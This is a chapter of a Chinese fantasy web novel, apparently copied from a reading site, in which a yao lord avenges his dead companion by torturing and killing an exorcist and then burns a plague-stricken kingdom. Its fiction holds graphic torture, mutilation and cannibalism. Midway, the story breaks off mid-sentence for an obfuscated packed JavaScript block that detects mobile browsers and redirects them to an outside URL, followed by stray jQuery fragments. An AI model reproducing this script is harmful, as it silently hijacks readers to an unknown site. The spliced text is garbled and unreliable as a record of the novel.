32. 第 32 章

作品:《被狐狸徒弟觊觎怎么办

    中秋夜后,一向安宁祥和的无周林时常出现男子痛苦绝望的求救,声音响彻整个山林。


    青羽翠鸟忐忑地握着卷轴,“扣扣——”敲响漆黑的木门。


    “进。”沙哑的声音从里头传来,翠鸟心下一惊,若不仔细听,几乎都听不出这是山主的声音。可转而他的眼眶一酸,姜灵姐姐不在了,山主变得很沉默,老树精也陷入了沉睡,整个山林陷入一阵怪异的静默中。


    他缓缓推门而入,里头漆黑一片,伸手不见五指。扑面而来的是一阵浓稠的血腥气,鸟族的嗅觉一向灵敏,这是凡人的血液,恶臭且肮脏。


    还未开口,便听见里面的山主站起身的动静,“什么事?”


    翠鸟凭着记忆摸索到桌边,低垂着眼将手中的卷轴放下,“西江国重目疫流行,又逢祭酒失踪。西江国王大力寻找,那些愚蠢的凡人都说是妖族带来疫情,带来祸患的,更详细的都在卷轴里了。”


    话音刚落,屋里的角落处传来嘶哑哀嚎声。翠鸟的皮肤上瞬间长出一片细细的疙瘩,若不是这祭酒在他们山主这里,他本不想将这事禀告出来。


    “知道了,你先出去吧。”乌迁淡淡的声音传来。


    翠鸟如听仙乐,毫不犹豫地快步离开,大门开合间,细微的光亮隐约照出墙壁上模糊的人样,他的嘴巴被缝上了,只能发出破碎的悲鸣。


    看起来真是可悲。


    “你觉得西江国王能找到这里?还是觉得有人看你可怜就放你出去了?”乌迁于黑暗中忽得开口,他抬手间,指尖闪烁一缕火苗。下一瞬,屋内顿时明亮起来。


    乌迁坐在桌前,用占满鲜血的手打开卷轴,一目十行地扫过后,蓦地发出一声冷笑。


    如今的西江国深陷重目疫的恐惧中,染了疫情的人前十日面色红肿,四肢快速地萎缩。十日后一双眼不断变大,瞳孔尽裂,许许多多的眼球再次长出,它们挤在眼眶中,脑子里,最后活活疼死。有年长者无意间看见别人死状,瞬间一口气没上来,直直地倒了下去。


    重目疫传遍速度极快,不论说老弱妇孺,就是身强体壮的将士也是染之即死,一瞬家城中人人自危。


    在天灾面前,手无缚鸡之力的凡人总是无力的,而人的本能就是让自己活下去,哪怕是烧杀劫掠、易子而食。


    年轻的国王在严密侍卫的保护下,来到街边巡查,偶然看见一叠蒸笼打开,腾腾热气逐渐散去,显出一张浮肿发灰的女人脸,众人双眼发红纷纷赤手抢夺往嘴里塞,人脸倏地被撕碎,五官泥泞不堪。国王看见头皮被扯开的瞬间,通红的头骨暴露日光下,他颤抖地向后退去,胃中一阵翻涌,“呕——”的一声,吐得昏天黑地。


    国王头也不回地离开,在宫里发了好大的一通火。


    当晚御膳房摆上了晚膳,国王看着桌前的牛羊肉,脑海中不断浮现那具浮肿女头,他怒从心起,一把将桌上的菜肴掀翻在地,大声喝道:“祭酒呢?宋望飞呢?让他滚进宫来!”


    他出生时,曾有道士预言他会创造出下一个太平盛世,国家怎会成了这般模样?!


    肯定是妖怪散布了这恐怖的重目疫,宋望飞有一双捉妖的好手,肯定能给他解决这个问题。年轻的国王恶狠地看着殿外,若是宋望飞解决不了,那他便诛了他九族,无用的人就该死,这祭酒位置自有人顶上!


    侍从趴跪在地,后背被冷汗浸湿:“宋祭酒他,他失踪了!”


    一石惊起千层浪,国王猛地掐着侍从的脖子:“为什么早不来汇报?一群畜生我养你们有什么用?!!”


    侍从们不敢抬头,国王已经半年未曾上朝,这些时日更是整日待在后宫中,连人都不曾见到,如何能将这事情禀告上去。有婢女鼓起勇气抬眼道:“是,是妖怪将宋祭酒抓走了!·······”她将当日事情如实讲出来。


    国王听罢后,将手中已经没了气息的侍从扔在地上,平复粗重的呼吸:“都拖走。”


    侍从大哭求救,可黑甲侍卫神色冷然像提小鸡仔一样将侍从婢女拖了下去。


    哀鸣声越来越远,他目光落在地上的侍卫身上,命令道:“去查!找出宋祭酒。……在城中传播这重目疫是妖怪心生恶念带来的,宋祭酒去捉妖了,而朕每日在宫内祈福,向上天祷告。”


    ······


    乌迁点燃手中的卷轴,随即将它扔在宋望飞的身上,一刹间,屋内痛苦嘶鸣声闷闷想起。待他只剩一口气,乌迁悠悠施法灭了火。


    他看着身前几乎看不出来五官的男人,想了想将如今西江国的处境尽数告知,又道:“听说过重明鸟吗?”


    宋望飞忍着浑身钻心的痛意,轻微地摇了摇头。如今他四肢被钉在墙上,身上一块好肉也没有,他不敢在惹怒面前这个恐怖的怪物,也不敢在他面前求饶,生怕在体会一种新的酷刑,他如今只想活下去。


    乌迁按紧他身上的钉子,少年的嗓音清脆如天籁,可话语却宛若恶鬼撕开最不堪的真相,“姜灵是重明鸟一族的后裔,眼观万物,驱暗辟邪。西江国在十年前的那场浩劫中就该亡了,那场浩劫突然消失,这十年来风调雨顺谷物丰登,你猜这是为什么?”


    宋望飞不可置信,他想睁开眼,可如今他的眼眶只有两个黑乎乎的血洞。


    乌迁轻轻一笑,拿起手边粗壮的铁钉掂量掂量后,从宋望飞的太阳穴狠狠插了进去,穿透过去。鲜血从太阳穴中溅出,墙壁又增一抹奇异色彩。


    宋望飞挣扎片刻,便没了气息,就连魂魄也被灭魂钉绞碎,连转世都做不到。


    过了半晌,乌迁走出屋外,顶着日光擦去脸上的血液,随即一把火烧了整个屋子。


    鲜红疯狂的火舌吞噬着屋内的一切,连同过去所有的回忆,火光映入眼帘,遮盖住他眼中的晦暗。


    他的手指死攥着铜镜,镜面上重复映出姜灵在凡间的生活。他看见一向活泼,爱乱动的少女每日穿上精致繁杂的华服,自由的发丝被高高束起,冠上沉重的头冠发簪。她一个人静静地坐在院子里看着面前玉兰花,偶尔看见撒泼的猫狗,才会露出久违的笑颜。


    他想冲进去问问她,为什么不离开?为什么要将自己困在深宅大院里?这群自私的凡人不值得她去付出。可铜镜只是记录过去,过去的就过去了,再也不可能回去。


    可后来,她一如往常坐在院中,忽然院门被乌泱泱的护卫踹开,那时的她应该用妖力驱赶了邪祟灾疫,妖力几近于无,与凡人无异,甚至连凡人都不如。姜灵惊恐着目光,任由宋望飞将她抓住,用恐怖的锁妖钉将她钉在墙上,锁妖钉日日折磨她。


    宋望飞轻蔑地看着她,压着她身上的锁妖钉,听她发出痛苦的呻吟。他冷漠道:“我知道你是大妖,还有一个相好,把他叫过来,我就放你离开怎么样?”


    姜灵怨恨看着他,往他吐出一口血沫,道:“做梦!”


    宋望飞咬牙,猛地一巴掌将她整个身子扇偏了过去,骂道:“你个小贱人!等死吧你!”他对她用了许多酷刑,又以参汤吊着一口气能够接着折磨她。


    日复一日,姜灵被钉在墙上,铜镜也渐渐蒙了尘,记录的景象也越来越模糊。可姜灵痛苦的模样总是清晰明显,恍若就在眼前。乌迁次次想过去救她,可触及冰冷的镜面时,他才发觉这是铜镜记录下来的,已经是过去的事情了。


    画面变换,铜镜的最后一刻就是姜灵用着仅剩的妖力运上心口处,锁妖钉强大的威力一同冲向心口,她蓦地吐出一口血,缓缓消散于世间。


    铜镜再次重现最初的故事,显现出一张稚嫩纯粹的少女笑颜。


    浓密的眼睫垂下一道阴影,乌迁已经数不清在这些时日将它看了多少遍,扶枝看了一遍后,再也看不下去。她不知道他为什么能够一而再再而三地看那么多遍。


    可这次扶枝终于听到他的回应,极轻的一声,可扶枝还是听到了,乌迁说的是:“……笨蛋。”


    锁妖钉自有灵性,会主动选择妖力强大的一方攻击,更是遇强则强。若是姜灵将乌迁引过来,锁妖钉顿时从她的身上拔出,贪婪地朝着乌迁袭去。那时


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478933|183195||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的她早就不行了,全靠一口气吊着,乌迁根本带不走她,甚至最后要将自己赔进去。所以姜灵死都没让乌迁知道,没让任何人知道,自己一个人孤零零经受锁妖钉的日日折磨。


    乌迁将铜镜装好,朝着西江国走去,墨发飞扬间,月色却为他染上一层寂寥。


    他是毕方一族最有能力的后代,这些重目疫对他无用。他走过尸横遍地的街道,周围仅存的人贪婪地盯着他,仿佛在看一碟美味的佳肴。有人不知死活地冲上来,可下一瞬被他身上强大的妖力弹开,吐出一口血后昏了过去。其他人顿时收起贪婪的目光,面露惊恐,忙不迭地躲起来。


    西江国几乎没什么人了。祭酒府早被难民劫掠一空,乌迁一把大火烧了整个祭酒府,整整烧了三天三夜,只余满地灰烬。


    他又来到皇宫,金碧辉煌的宫殿内,舞女扭着纤细的腰身,媚眼如丝。国王醉卧在榻上,身旁衣不蔽体的婢女给他仔细按摩着,面上一片享受。


    乌迁讥讽地笑了一声,像是嘲笑这腐败的王朝大厦将倾,嘲笑这不知死活的国王还在纵情享受,嘲笑难民露出原始的野性,啃食同类。


    他闭上眼睛,“姜灵这就是你要保护的国家吗?”


    “你真的是笨的没边了。”


    半晌微风拂过,伴随着一声轻柔的女子叹息缓缓传入他的耳中,“对不起啊,乌迁。”


    乌迁没睁眼,可眼角却流下一抹晶莹。他知道她留了一丝意识在铜镜上。可意识如烟散去,女子的声音若灿烂烟花一瞬,可对于乌迁来说,足够了。


    他飞身来到皇宫半空中,一缕青蓝火焰在手心缓缓绽开,只是挥手间,宛若天上宫阙的殿宇瞬间倾覆,青蓝色大火高高燃起,似乎将无尽黑夜照亮。


    火焰蔓延开,烧过每个疫区,带着疫病的尸体瞬间被火焰卷走。


    尚且健康的孩童看着手中死去母亲的尸体化为灰烬,瞬间嚎啕大哭起来。又有中年男人攥着老母的骨灰,仰天大恸,痛骂:“妖怪误国啊——”


    乌迁垂眸看着整个西江国被青蓝火焰笼罩,毕方一族的妖火可消灭疫病,从此重目疫不复再现。


    大火将西江国烧成灰烬,繁华宫殿不再,热闹小巷消散,残存的人只顾着悲伤,无人注意到角落里的那一抹嫩绿。


    乌迁回到无周林,恍若什么事情都没发生过,照常处理族中事物,守护着无周林安全。那面铜镜一直放在他的桌边,直到毕方一族诞生新生小辈,他带着铜镜离开了。


    他漫无目的地行走世间,他想或许能找到回到过去的办法,或许能阻拦发生过的一切。


    乌迁回到祭酒府旧处,可朝代更迭,西江国的土地上又建起一个崭新繁华的朝代,酒楼边的说书人摸了摸自己的白胡子,一拍手中的木板,道:“今天的故事讲完了,那庞大的西江国就是倾覆于妖怪的妖火之下,世间的妖怪皆是罪孽深重,人人得而诛之!”


    又过了好些年,乌迁自戕了。扶枝想上前拦,可她只是一抹幻影,什么都阻止不了。


    乌迁用最后的一丝妖力将铜镜送回毕方族内,交由他们保存。


    铜镜伴随乌迁数年,早已沾染了他的气息,更是吸收了他与姜灵多年的怨念,在毕方妖力充沛的圣地,慢慢修炼出自己的器灵,它逃出毕方族的藏宝阁,辗转世间诱惑世人,最终找出他们的弱点,毫不留情吞噬他们的魂魄。


    命运无常,时镜转没有成为回到过去的神器,倒是可以显现未来发生的事情,不过很少人曾看到过。


    多半人用它记录过去,镜面反照间掩饰如今的事情。


    扶枝沉默下来,眼前逐渐恍惚。


    时镜转的回忆结束了,那个张扬的少年、自由的少女早已不在。


    扶枝按住心口,她觉得这时镜转应当不只是乌迁的记忆,也有姜灵的情绪。


    一个妖力深厚的少女不惜散尽所有修为护住世间太平,将本该发生的疫灾硬生生拖到十年后。却在所护的百姓面前被斩杀,在那一声叹息中,或许姜灵是怨的。